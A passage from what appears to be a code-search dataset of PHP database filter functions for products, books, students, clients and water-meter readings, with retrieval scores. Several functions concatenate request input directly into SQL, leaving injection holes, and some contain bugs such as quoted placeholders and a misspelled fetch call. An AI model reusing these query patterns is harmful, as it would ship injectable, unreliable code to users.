!empty($categoria)){ //Sols categories i text\n $sql = \"SELECT * FROM Productos where (Usuario = :usuario) and (Categoria = :categoria) and (Nombre LIKE :textFilter or Descripcion LIKE :textFilter2) order by Fecha LIMIT :start, :limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Sols categories i dates\n $sql = \"SELECT * FROM Productos where (Usuario = :usuario) and (Categoria = :categoria) and (Fecha BETWEEN :fechaMin AND :fechaMax) order by Fecha LIMIT :start, :limit\";\n\n }\n\n $result = $this->pdo->prepare($sql);\n\n if (empty($fechaMin) && empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Soles categoria\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && !empty($categoria)){ //TOT\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n $textFilter = \"%\".$textFilter.\"%\";\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && empty($categoria)){ //Soles dates\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Soles text\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n $textFilter = \"%\".$textFilter.\"%\";\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Text i dates\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n $textFilter = \"%\".$textFilter.\"%\";\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && !empty($categoria)){ //Sols categories i text\n\n $textFilter = \"%\".$textFilter.\"%\";\n\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Sols categories i dates\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n }\n\n $result->bindParam(\":start\", $start, PDO::PARAM_INT);\n $result->bindParam(\":limit\", $limit, PDO::PARAM_INT);\n $result->bindParam(':usuario', $idUser, PDO::PARAM_INT);\n\n $result->execute();\n\n $productos = $result->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, $this->className);\n\n return $productos;\n\n }", "title": "" }, { "docid": "a20aa26be2a4d0a64653a05e943dad94", "score": "0.63156366", "text": "function ConsultaFiltros (&$res, &$Pinf, &$Psup, &$Idio, &$Tab){\n\t\tif\t(!empty($Pinf)){$PrecInf = '\"'.$Pinf.'\"';}else{$PrecInf = 'libro.Precio';}\n\t\tif\t(!empty($Psup)){$PrecSup = '\"'.$Psup.'\"';}else{$PrecSup = 'libro.Precio';}\n\t\tif\t(!empty($Idio)){$Idioma = '\"'.$Idio.'\"';}else{$Idioma = 'idioma.Descripcion';}\n\t\tif (!empty($Tab)){\n\t\t\t$IS = ' AND libro.ISBN IN ( ';\n\t\t\t$temp = '';\n\t\t\tforeach ($Tab as &$valor){\n\t\t\t\t$temp = $temp .$valor .', ';\n\t\t\t}\n\t\t\t$IS = $IS . $temp . '\"\")';\n\t\t}\n\t\t$cons = 'SELECT libro.ISBN, libro.Titulo, autor.NombreApellido, libro.CantidadPaginas, libro.Precio, idioma.Descripcion as Idioma, libro.Fecha, disponibilidad.Descripcion as Disponibilidad, libro.Visible As Estado, libro.Hojear AS Indice\n\t\t\t\tFROM libro, autor, idioma, disponibilidad\n\t\t\t\tWHERE autor.Id_Autor = libro.Id_Autor\n\t\t\t\tAND idioma.Id_Idioma = libro.Id_Idioma\n\t\t\t\tAND libro.Visible = 1\n\t\t\t\tAND disponibilidad.Id_Disponibilidad = libro.Id_Disponibilidad\n\t\t\t\tAND libro.Precio >= ' .$PrecInf .'\n\t\t\t\tAND libro.Precio <= ' .$PrecSup .'\n\t\t\t\tAND idioma.Descripcion = ' .$Idioma .$IS;\n\t\t$res = mysql_query($cons);\n\t}", "title": "" }, { "docid": "5c97016ea0ec9cf9217ebe9447ebef2f", "score": "0.63142496", "text": "abstract protected function filters(): array;", "title": "" }, { "docid": "fad4bc3808d289157bb1b3cf705595b3", "score": "0.6304714", "text": "private function generaFiltrosCandidatos(Request $request){\n \t$filtros = array ();\n \t$idcliente = $request->get('idclienteCandidatoBusca');\n \t$nombre = $request->get('nombreCandidatoBusca');\n \t$paterno = $request->get('paternoCandidatoBusca');\n \t$materno = $request->get('maternoCandidatoBusca');\n \t$noEmpleado = $request->get('noEmpleadoCandidatoBusca');\n \t$activo = $request->get('activoCandidatoBusca');\n \n \tif($idcliente != ''){\n \t $filtros[] = ['candidato.idcliente', '=', $idcliente];\n \t}\n \tif(trim($nombre) != ''){\n \t $filtros[] = ['candidato.nombre', 'LIKE', '%' . $nombre . '%'];\n \t}\n \tif(trim($paterno) != ''){\n \t $filtros[] = ['candidato.paterno', 'LIKE', '%' . $paterno . '%'];\n \t}\n \tif(trim($materno) != ''){\n \t $filtros[] = ['candidato.materno', 'LIKE', '%' . $materno . '%'];\n \t}\n \tif(trim($noEmpleado) != ''){\n \t $filtros[] = ['candidato.materno', 'LIKE', '%' . $noEmpleado . '%'];\n \t}\n \tif(trim($activo) != ''){\n \t\t$filtros[] = ['candidato.activo', '=', $activo];\n \t}\n \treturn $filtros;\n }", "title": "" }, { "docid": "62b61d56692c3943b7dd8634181f1814", "score": "0.63042724", "text": "public function isFiltered();", "title": "" }, { "docid": "91a6a270686cf04dc782b6ee6440e1df", "score": "0.62902194", "text": "public function filtrar($usuario){\r\n\t\t$listaUsuarios = array();\r\n\t\ttry{\r\n\t\t\t$sql = \"SELECT * FROM UTILIZADOR WHERE \";\r\n\t\t\t$sqlConector = \" AND \";\r\n\t\t\t\t\r\n\t\t\tif($usuario->getNome() != null && !empty($usuario->getNome())){\r\n\t\t\t\t$sql .= $sqlConector.\"use_nome LIKE '%?%' \\n \";\r\n\t\t\t}\r\n\t\t\tif($usuario->getUser() != null && !empty($usuario->getUser())){\r\n\t\t\t\t$sql .= $sqlConector.\"use_user LIKE '%?%' \\n\";\r\n\t\t\t}\r\n\t\t\tif($usuario->getAlcunha() != null && !empty($usuario->getAlcunha())){\r\n\t\t\t\t$sql .= $sqlConector.\"use_alcunha LIKE '%?%' \\n\";\r\n\t\t\t}\r\n\t\t\tif($usuario->getEmail() != null && !empty($usuario->getEmail())){\r\n\t\t\t\t$sql .= $sqlConector.\"use_email LIKE '%?%' \\n\";\r\n\t\t\t}\r\n\t\t\tif($usuario->getDtCriacao() != null && !empty($usuario->getDtCriacao())){\r\n\t\t\t\t$sql .= $sqlConector.\"use_dtcriacao = ? \\n\";\r\n\t\t\t}\r\n\t\t\tif($usuario->getWebSite() != null && !empty($usuario->getWebSite())){\r\n\t\t\t\t$sql .= $sqlConector.\"use_website LIKE '%?%' \\n\";\r\n\t\t\t}\n\t\t\tif($usuario->getBiografia() != null && !empty($usuario->getBiografia())){\r\n\t\t\t\t$sql .= $sqlConector.\"use_biografia LIKE '%?%' \\n\";\r\n\t\t\t}\r\n\r\n\t\t\t$ps = getStatement($sql);\r\n\t\t\t$i = 1;\r\n\t\t\tif($usuario->getNome() != null && !empty($usuario->getNome())){\r\n\t\t\t\t$ps->bindParam($i, $usuario->getNome(), PDO::PARAM_STR);\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\tif($usuario->getUser() != null && !empty($usuario->getUser())){\r\n\t\t\t\t$ps->bindParam($i, $usuario->getUser(), PDO::PARAM_STR);\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\tif($usuario->getAlcunha() != null && !empty($usuario->getAlcunha())){\r\n\t\t\t\t$ps->bindParam($i, $usuario->getAlcunha(), PDO::PARAM_STR);\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\tif($usuario->getEmail() != null && !empty($usuario->getEmail())){\r\n\t\t\t\t$ps->bindParam($i, $usuario->getEmail(), PDO::PARAM_STR);\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\tif($usuario->getDtCriacao() != null && !empty($usuario->getDtCriacao())){\r\n\t\t\t\t$ps->bindParam($i, $usuario->getDtCriacao(), PDO::PARAM_STR);\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\tif($usuario->getWebSite() != null && !empty($usuario->getWebSite())){\r\n\t\t\t\t$ps->bindParam($i, $usuario->getWebSite(), PDO::PARAM_STR);\r\n\t\t\t\t$i++;\r\n\t\t\t}\n\t\t\tif($usuario->getBiografia() != null && !empty($usuario->getBiografia())){\r\n\t\t\t\t$ps->bindParam($i, $usuario->getBiografia(), PDO::PARAM_STR);\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\r\n\t\t\t$ps->execute();\r\n\t\t\t$listaUsuarios = $ps->fech(PDO::FETCH_ASSOC);\r\n\t\t\t$ps = null;\r\n\t\t}catch (PDOException $e){\r\n\t\t\techo \"<p>Erro ao tentar alterar dados no Banco.</p>\";\r\n\t\t\techo \"<p>Arquivo: \".$e->getFile().\"</p>\";\r\n\t\t\techo \"<p>Message: \".$e->getMessage().\"</p>\";\r\n\t\t\techo \"<p>Linha: \".$e->getLine().\"</p>\";\r\n\t\t}\r\n\t\treturn $listaUsuarios;\r\n\t}", "title": "" }, { "docid": "d69bc6b17a67804fb37f338870e1943b", "score": "0.62839174", "text": "public static function buscarEgresadosFiltrados($idfacultad, $idsede, $idplanestudio, $ordencampo, $ordenmetodo, $estado)\n {\n \t$w=\"\";\n\n\t\tif ($idfacultad!=0) {\n\t\t\t$w = \"c.idfacultad=\".$idfacultad;\n\t\t\tif ($idsede!=0 or $idplanestudio!=0 or $estado!=0) {\n\t\t\t\t$w .= \" AND \";\n\t\t\t}\n\t\t}\n\t\tif ($idsede!=0) {\n\t\t\t$w .= \"al.idsede=\".$idsede;\n\t\t\tif ($idplanestudio!=0 or $estado!=0) {\n\t\t\t\t$w .= \" AND \";\n\t\t\t}\n\n\t\t}\n\t\tif($idplanestudio!=0) {\n\t\t\t$w .= \"pl.idplanestudio=\".$idplanestudio;\n\t\t\tif ($estado!=0) {\n\t\t\t\t$w .= \" AND \";\n\t\t\t}\n\t\t}\n\t\tif($estado==1) {\n\t\t\t$w .= \"ex.activo=1\";\n\t\t} elseif($estado==2) {\n\t\t\t$w .= \"ex.activo=0\";\n\t\t} else {\n\t\t\t$w .=\"\";\n\t\t}\n\n\t\tif (($idfacultad!=0) or ($idsede!=0) or ($idplanestudio!=0) or ($estado!=0)) {\n\t\t \t$w .= \" AND \";\n\t\t}\n\n\t $q = Doctrine_Manager::getInstance()->getCurrentConnection()->fetchAssoc(\"\n\t \t\tSELECT DISTINCT al.*, cl.ciclo as ciclo, f.nombreabrev as facultad, s.abreviacion as sede, concat(pe.apellido, ', ', pe.nombre) as nombre, pe.nrodoc as nrodoc, ea.fecha as fechaegreso, concat(c.nombre, ' - ', pl.nombre) as carrera, ex.idexpediente as idexpediente, IF(ex.idexpediente != '' and ex.idderivacionbiblioteca != 0, 'X', '') AS bib, IF(ex.idexpediente != '' and ex.idderivacionadministracion != 0 , 'X', '') AS adm\n\t \t\tFROM alumnos al\n\t\t\tINNER JOIN (\n\t\t\t\tSELECT * FROM (\n\t\t\t\t SELECT *\n\t\t\t\t FROM estados_alumno_historial\n\t\t\t\t ORDER BY fecha DESC, id DESC\n\t\t\t\t) AS eah\n\t\t\t\tGROUP BY eah.idalumno\n\t \t\t) AS ea ON al.idalumno = ea.idalumno\n\t \tINNER JOIN ciclos_lectivos cl ON al.idciclolectivo = cl.id\n\t \tINNER JOIN personas pe ON al.idpersona = pe.idpersona\n\t INNER JOIN planes_estudios pl ON al.idplanestudio = pl.idplanestudio\n\t INNER JOIN carreras c ON pl.idcarrera = c.idcarrera\n\t \tINNER JOIN facultades f ON c.idfacultad = f.idfacultad\n\t \tINNER JOIN sedes s ON al.idsede = s.idsede\n\t \tLEFT JOIN expedientes_egresados ex ON al.idalumno = ex.idalumno\n\t \tWHERE\n\t \t\t\".$w.\"\n\t \t\tea.idestadoalumno = 3\n\t \tORDER BY \".$ordencampo.\" \".$ordenmetodo\n\t );\n\t return $q;\n }", "title": "" }, { "docid": "f616f9fdb57474fba8814afdd25eba83", "score": "0.6277815", "text": "public function getByFilter($filter)\n {\n \n $filter = json_decode($filter);\n\n $array_filters = [];\n\n if($filter->barrio != null && $filter->barrio != ''){\n $array_filters[] = ['calle.idbarrio', '=', $filter->barrio]; \n }\n\n if($filter->calle != null && $filter->calle != ''){\n $array_filters[] = ['calle.idcalle', '=', $filter->calle]; \n }\n\n $lecturas = Lectura::join('suministro', 'lectura.idsuministro', '=', 'suministro.idsuministro')\n ->join('calle', 'suministro.idcalle', '=', 'calle.idcalle')\n ->join('cliente', 'suministro.idcliente', '=', 'cliente.idcliente')\n ->join('persona', 'cliente.idpersona', '=', 'persona.idpersona')\n ->join('cobroagua', 'lectura.idlectura', '=', 'cobroagua.idlectura')\n ->select('lectura.idlectura', 'lectura.idsuministro', 'lecturaanterior', 'lectura.observacion', 'fechalectura',\n 'lecturaactual', 'consumo', 'calle.namecalle', 'suministro.*', 'cliente.*', 'persona.*');\n\n if(count($array_filters) == 1){\n $array_filters[0][2] = \"'\" . $array_filters[0][2] . \"'\";\n $lecturas->whereRaw(implode(' ', $array_filters[0])); \n } else { \n $lecturas->where($array_filters); \n }\n\n if($filter->mes != null && $filter->mes != '0'){\n $lecturas->whereRaw('EXTRACT( MONTH FROM lectura.fechalectura) = ' . $filter->mes); \n }\n\n if($filter->anno != null && $filter->anno != ''){\n $lecturas->whereRaw('EXTRACT( YEAR FROM lectura.fechalectura) = ' . $filter->anno); \n }\n\n if($filter->text != null && $filter->text != ''){\n $lecturas->whereRaw(\"persona.namepersona ILIKE '%\" . $filter->text . \"%' OR persona.lastnamepersona ILIKE '%\" . $filter->text . \"%' \");\n }\n\n return $lecturas->get();\n\n }", "title": "" }, { "docid": "24eb96876a66f0c3da63c99ce318967f", "score": "0.6267089", "text": "private function montarFiltros($parametros) {\r\n\r\n\t\t//Periodo\r\n\t if (!empty($parametros->data_inicial) && !empty($parametros->data_final)) {\r\n\t $sql .= \" AND linreadt_cadastro BETWEEN '\" . $parametros->data_inicial . \" 00:00:00' AND '\" . $parametros->data_final . \" 23:59:59'\";\r\n\t }\r\n\t //Status\r\n\t if (!empty($parametros->linnumero)) {\r\n\t $sql .= \" AND linrealinnumero ='\" . $parametros->linnumero . \"'\";\r\n\t }\r\n\t //Status da linha\r\n\t if (!empty($parametros->csloid)) {\r\n\t $sql .= \" AND csloid ='\" . $parametros->csloid . \"'\";\r\n\t }\r\n\t //Status do contrato\r\n\t if (!empty($parametros->csioid)) {\r\n\t $sql .= \" AND csioid =\" . intval($parametros->csioid);\r\n\t }\r\n\t //Cliente\r\n\t if (!empty($parametros->clioid_pesq)) {\r\n\t $sql .= \" AND linreaclioid = \" . intval($parametros->clioid_pesq);\r\n\t }\r\n\t //Contrato\r\n\t if (!empty($parametros->connumero)) {\r\n\t $sql .= \" AND connumero =\" . intval($parametros->connumero);\r\n\t }\r\n\t\t//Placa\r\n\t if (!empty($parametros->placa)) {\r\n\t\t $sql .= \" AND veiplaca ILIKE '%\".$parametros->placa.\"%'\";\r\n\t\t}\r\n\r\n\t\treturn $sql;\r\n\t}", "title": "" }, { "docid": "7ff835eb64641e0dc32baf777541a28e", "score": "0.6254974", "text": "function evt__filtro__limpiar (){\n //s__asignaciones al mismo tiempo. Por lo tanto para restaurar el contenido de ambos cuadros \n //hay que vaciar el arreglo s__datos_filtro.\n $this->s__datos_filtro=array();\n }", "title": "" }, { "docid": "c3522501f1fd320cabc0c68c94942519", "score": "0.6229707", "text": "private function limparFiltro() {\r\n \t\r\n $filtroPesquisa = new stdClass();\r\n $filtroPesquisa->tipoContrato = '';\r\n $filtroPesquisa->tipoProposta = '';\r\n $filtroPesquisa->subtipoProposta = '';\r\n $filtroPesquisa->tipoPessoa = '';\r\n $filtroPesquisa->vaiGestor = '';\r\n $filtroPesquisa->limite \t\t = '';\r\n \r\n $_SESSION['cad_parametrizacao_consulta_gestor_credito'] = $filtroPesquisa;\r\n }", "title": "" }, { "docid": "52eefba9b79161f0d3f33b7640573122", "score": "0.62202847", "text": "public function test_filter ()\n\t\t{\n\t\t}", "title": "" }, { "docid": "cd5164d89eaaa7f2f51c4c8ea2e326bc", "score": "0.6213344", "text": "public function filterFields();", "title": "" }, { "docid": "a987f0c412f03169ceb9f3d613c502a6", "score": "0.6199572", "text": "public function filtro(Request $request){\n if($request->isMethod('post')){\n\n $regla = array(\n 'id' => 'required',\n 'fecha1' => 'required',\n 'fecha2' => 'required'\n );\n\n $mensaje = array(\n 'id.required' => 'id es requerido',\n 'fecha1.required' => 'fecha1 es requerido',\n 'fecha2.required' => 'fecha2 es requerido',\n );\n\n $validar = Validator::make($request->all(), $regla, $mensaje );\n\n if ($validar->fails())\n {\n return [\n 'success' => 0,\n 'message' => $validar->errors()->all()\n ];\n }\n\n if(Motoristas::where('id', $request->id)->first()){\n\n $date1 = Carbon::parse($request->fecha1)->format('Y-m-d');\n $date2 = Carbon::parse($request->fecha2)->addDays(1)->format('Y-m-d');\n\n $orden = DB::table('motorista_ordenes AS mo')\n ->join('ordenes AS o', 'o.id', '=', 'mo.ordenes_id')\n ->join('motoristas AS m', 'm.id', '=', 'mo.motoristas_id')\n ->join('servicios AS s', 's.id', '=', 'o.servicios_id')\n ->select('mo.motoristas_id', 'o.estado_7', 'o.estado_8', 'o.ganancia_motorista')\n ->where('mo.motoristas_id', $request->id)\n ->whereBetween('o.fecha_orden', array($date1, $date2))\n ->get();\n\n $totalagarradas=0;\n foreach ($orden as $valor){\n $totalagarradas = $totalagarradas + 1;\n }\n\n $totalcompletas=0;\n foreach ($orden as $valor){\n if($valor->estado_7 == 1){\n $totalcompletas = $totalcompletas + 1;\n }\n }\n\n $totalcanceladas=0;\n foreach ($orden as $valor){\n if($valor->estado_8 == 1){\n $totalcanceladas = $totalcanceladas + 1;\n }\n }\n\n $totalganancia=0;\n foreach ($orden as $valor){\n // no cancelado y si completada\n if($valor->estado_8 == 0 && $valor->estado_7 == 1){\n $totalganancia = $totalganancia + $valor->ganancia_motorista;\n }\n }\n\n $total = number_format((float)$totalganancia, 2, '.', '');\n\n return ['success' => 1, 'totalagarradas' => $totalagarradas,\n 'totalcompletada' => $totalcompletas, 'totalcancelada' => $totalcanceladas,\n 'totalganancia' => $total];\n }else{\n return ['success' => 2];\n }\n }\n }", "title": "" }, { "docid": "c9228f47b75a4eee9d94539e04af41ab", "score": "0.6199463", "text": "protected function setFiltroBusqueda()\r\n {\r\n \t$parcial = '';\r\n \t$modulo = $this->getModuleName();\r\n \t$this->modulo = $modulo;\r\n\r\n\t\t$this->cajaBsq = $this->getRequestParameter('caja_busqueda');\r\n\t\t$this->grupoBsq = $this->getRequestParameter('grupo');\r\n\t\t$this->categoriaBsq = $this->getRequestParameter('categoria_busqueda');\r\n\t\t$this->estadoBsq = $this->getRequestParameter('estado_busqueda');\r\n\t\t$this->contenidoBsq = $this->getRequestParameter('contenido_busqueda')?$this->getRequestParameter('contenido_busqueda'):$this->getUser()->getAttribute($modulo.'_nowcontenido');;\r\n\t\t\r\n\t\tif (!empty($this->cajaBsq)) {\r\n\t\t\t$parcial .= \" AND (nombre LIKE '%$this->cajaBsq%')\";\r\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowcaja', $this->cajaBsq);\r\n\t\t}\r\n if (!empty($this->grupoBsq)) {\r\n\t\t\t$parcial .= \" AND grupo_trabajo_id = $this->grupoBsq \";\r\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowgrupo', $this->grupoBsq);\r\n\t\t}\r\n\t\tif (!empty($this->categoriaBsq)) {\r\n\t\t\t$parcial .= \" AND categoria_d_g_id = '$this->categoriaBsq' \";\r\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowcategoria', $this->categoriaBsq);\r\n\t\t}\r\n\t\tif (!empty($this->estadoBsq)) {\r\n\t\t\t$parcial .= \" AND estado = '$this->estadoBsq' \";\r\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowestado', $this->estadoBsq);\r\n\t\t}\r\n\t\tif (!empty($this->contenidoBsq)) {\r\n\t\t\t$parcial .= \" AND contenido LIKE '%$this->contenidoBsq%'\";\r\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowcontenido', $this->contenidoBsq);\r\n\t\t}\r\n\t\t\r\n if (!empty($parcial)) {\r\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowfilter', $parcial);\r\n\t\t} else {\r\n\t\t\tif ($this->hasRequestParameter('btn_buscar')) {\r\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowfilter');\r\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcaja');\r\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowgrupo');\r\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcategoria');\r\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowestado');\r\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcontenido');\r\n\t\t\t} else {\r\n\t\t\t\t$parcial = $this->getUser()->getAttribute($modulo.'_nowfilter');\r\n\t\t\t\t$this->cajaBsq = $this->getUser()->getAttribute($modulo.'_nowcaja');\r\n\t\t\t\t$this->grupoBsq = $this->getUser()->getAttribute($modulo.'_nowgrupo');\r\n\t\t\t\t$this->categoriaBsq = $this->getUser()->getAttribute($modulo.'_nowcategoria');\r\n\t\t\t\t$this->estadoBsq = $this->getUser()->getAttribute($modulo.'_nowestado');\r\n\t\t\t\t$this->contenidoBsq = $this->getUser()->getAttribute($modulo.'_nowcontenido');\r\n\t\t\t}\r\n\t\t} \r\n\t\t\r\n\t\tif ($this->hasRequestParameter('btn_quitar')){\r\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowfilter');\r\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcaja');\r\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowgrupo');\r\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcategoria');\r\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowestado');\r\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcontenido');\r\n\t\t\t$parcial=\"\";\r\n\t\t\t$this->cajaBsq = \"\";\r\n\t\t\t$this->grupoBsq = '';\r\n\t\t\t$this->categoriaBsq = '';\r\n\t\t\t$this->estadoBsq = '';\r\n\t\t\t$this->contenidoBsq = '';\r\n\t\t}\r\n\t\t$gruposdetrabajo = GrupoTrabajo::iddegrupos($this->getUser()->getAttribute('userId'),1); \r\n\t\t$this->roles = UsuarioRol::getRepository()->getRolesByUser($this->getUser()->getAttribute('userId'),1);\r\n\r\n\t\tif (Common::array_in_array(array('1'=>'1', '2'=>'2'), $this->roles)) {\r\n\t\t\treturn \"deleted=0 \".$parcial.\" AND (owner_id = \".$this->getUser()->getAttribute('userId').\" OR estado != 'guardado')\";\r\n\t\t} else {\r\n\t\t\treturn \"deleted=0\".$parcial.\" AND grupo_trabajo_id IN \".$gruposdetrabajo.\" AND (owner_id = \".$this->getUser()->getAttribute('userId').\" OR estado != 'guardado')\";\r\n\t\t}\r\n }", "title": "" }, { "docid": "ba42cee5e566552ee9d54e3410f14db8", "score": "0.6199209", "text": "public function applyFiltersOnHateoas()\n {\n // Not needed in your don't have any hateoas\n }", "title": "" }, { "docid": "66cfbefbe3f8eaea3110b176d9196dd3", "score": "0.6194422", "text": "function actiOrdenes($condicion){\n \t$nuevaCondicion=\"\";\n \t$array = explode(\"AND\",$condicion);\n \t$sql = \"show fields from actividadesxorden\";\n \t$result = mysql_query($sql);\n \twhile($row=mysql_fetch_array($result)){\n \t\tforeach($array as $valor){\n \t\t\tif(strpos($valor,$row[0])!==false){\n\t\t\t\t\t$nuevaCondicion.= \" $valor AND\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t$nuevaCondicion.=\"<\";\n\t\treturn $condicion=str_replace(\"AND<\",\"\",$nuevaCondicion);\n\t\t\n\t}", "title": "" }, { "docid": "6c1044a0d4e37ad087315d4bcc838cf4", "score": "0.61892253", "text": "function filter_products($filtru)\n{\n $objResponse = new xajaxResponse();\n //dc s-a scris in input text-ul de cautare\n if ($filtru)\n {\n $produse = new Produse(\"where denumire like '$filtru%' order by denumire asc\");\n }\n //input text-ul este gol, incarc toata lista\n else\n {\n $produse = new Produse(\"where 1 order by denumire asc\");\n }\n \n $objResponse->assign(\"div_select_produse\", \"innerHTML\", $produse->select());\n return $objResponse;\n}", "title": "" }, { "docid": "597f5f21160e5670f59f74df7733ed70", "score": "0.618443", "text": "private function generaFiltrosTalentos(Request $request){\n \t$filtros = array ();\n \t$nombre = $request->get('nombreTalentoBusca');\n \t$definicion = $request->get('descripcionTalentoBusca');\n \t$activo = $request->get('activoTalentoBusca');\n \tif($activo == null)\n \t $activo = \"-1\";\n \n \tif(trim($nombre) != ''){\n \t\t$filtros[] = ['talento.nombre', 'LIKE', '%' . $nombre . '%'];\n \t}\n \tif(trim($definicion) != ''){\n \t $filtros[] = ['talento.definicion', 'LIKE', '%' . $definicion . '%'];\n \t}\n \tif(trim($activo) != '-1'){\n \t\t$filtros[] = ['talento.activo', '=', $activo];\n \t}\n \treturn $filtros;\n }", "title": "" }, { "docid": "a4e3803f85110a359dfd3c53fd37675e", "score": "0.6151184", "text": "public function filtreClient(){\n\t\tif (isset($_SESSION['pagination'])) {\n\t\t\tunset($_SESSION['pagination']);\n\t\t}\n\t\t\t$this->db->select('id,nom,prenom,email,sexe,cni,image_cni,image,adresse,telephone')\n\t\t\t\t\t\t\t\t->from('personne');\n\t\t\t\t\t\t\t\tif ($_POST['nom'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('nom LIKE', '%'.$_POST['nom'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['prenom'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('prenom LIKE', '%'.$_POST['prenom'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['email'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('email LIKE', '%'.$_POST['email'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['cni'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('cni LIKE', '%'.$_POST['cni'].'%');\n\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\tif ($_POST['sexe'] == 1) {\n\t\t\t\t\t\t\t\t\t$this->db->where('sexe', 'M');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['sexe'] == 2) {\n\t\t\t\t\t\t\t\t\t$this->db->where('sexe', 'F');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['telephone'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('telephone LIKE', '%'.$_POST['telephone'].'%');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$data =$this->db->order_by('id DESC')\n\t\t\t\t\t\t\t\t\t\t\t->get()\n\t\t\t\t\t\t\t\t\t\t\t->result();\n\t\t\t\t\t\t \n\t\t\t\t\t$donnees['data']='non';\t\n\t\t\t\t\t$i=0;\t\t\n\t\t\t\tforeach ($data as $row){\n\t\t\t \t$donnees[$i]['id']=$row->id;\n\t\t\t \t$donnees[$i]['nom']=$row->nom;\n\t\t\t \t$donnees[$i]['prenom']=$row->prenom;\n\t\t\t \t$donnees[$i]['email']=$row->email;\n\t\t\t \t$donnees[$i]['sexe']=$row->sexe;\n\t\t\t \t$donnees[$i]['cni']=$row->cni;\n\t\t\t \t$donnees[$i]['image_cni']=$row->image_cni;\n\t\t\t \t$donnees[$i]['image']=$row->image;\n\t\t\t \t$donnees[$i]['adresse']=$row->adresse;\n\t\t\t \t$donnees[$i]['telephone']=json_decodeur($row->telephone);\n\t\t\t \t$donnees['data']='ok';\n\t\t\t \t$i++;\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$donnees['total']=$i;\n\t\t\t\t$admins = $this->Client->liste_client();\n\n\n\t\t\t\t$result = array();\n\t\t\t\t$result['msg'] = 